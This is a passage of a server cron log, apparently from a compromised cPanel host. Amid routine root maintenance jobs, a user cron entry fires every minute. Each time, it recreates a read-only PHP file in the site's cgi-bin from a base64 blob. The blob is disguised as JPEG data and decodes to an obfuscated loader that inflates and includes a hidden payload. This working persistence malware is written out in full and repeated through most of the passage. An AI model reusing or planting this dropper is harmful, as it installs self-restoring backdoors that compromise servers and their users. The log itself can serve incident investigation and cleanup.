JiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:26:01 server CROND[25690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:26:01 server CROND[25691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:26:01 server CROND[25692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:27:01 server CROND[26287]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 08:27:01 server CROND[26288]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:27:01 server CROND[26289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:27:01 server CROND[26286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:28:01 server CROND[26651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:28:01 server CROND[26652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:28:01 server CROND[26653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:29:01 server CROND[27043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:29:01 server CROND[27044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:29:01 server CROND[27045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:30:01 server CROND[27528]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:30:01 server CROND[27530]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 08:30:01 server CROND[27533]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  9 08:30:01 server CROND[27532]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 08:30:01 server CROND[27541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:30:01 server CROND[27542]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:30:01 server CROND[27545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:30:01 server CROND[27544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:30:01 server CROND[27534]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 08:31:01 server CROND[28362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:31:01 server CROND[28363]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:31:01 server CROND[28366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:32:01 server CROND[28728]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:32:01 server CROND[28729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:32:01 server CROND[28730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:33:01 server CROND[29098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:33:01 server CROND[29099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:33:01 server CROND[29100]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:34:01 server CROND[29525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:34:01 server CROND[29524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:34:01 server CROND[29526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:35:01 server CROND[29997]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 08:35:01 server CROND[30005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:35:01 server CROND[30013]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 08:35:01 server CROND[30019]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:35:01 server CROND[30015]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:35:01 server CROND[30016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:35:01 server CROND[30018]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 08:35:01 server CROND[30014]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:35:01 server CROND[30017]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 08:36:01 server CROND[30846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:36:01 server CROND[30847]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:36:01 server CROND[30848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:37:01 server CROND[31239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:37:01 server CROND[31240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:37:01 server CROND[31241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
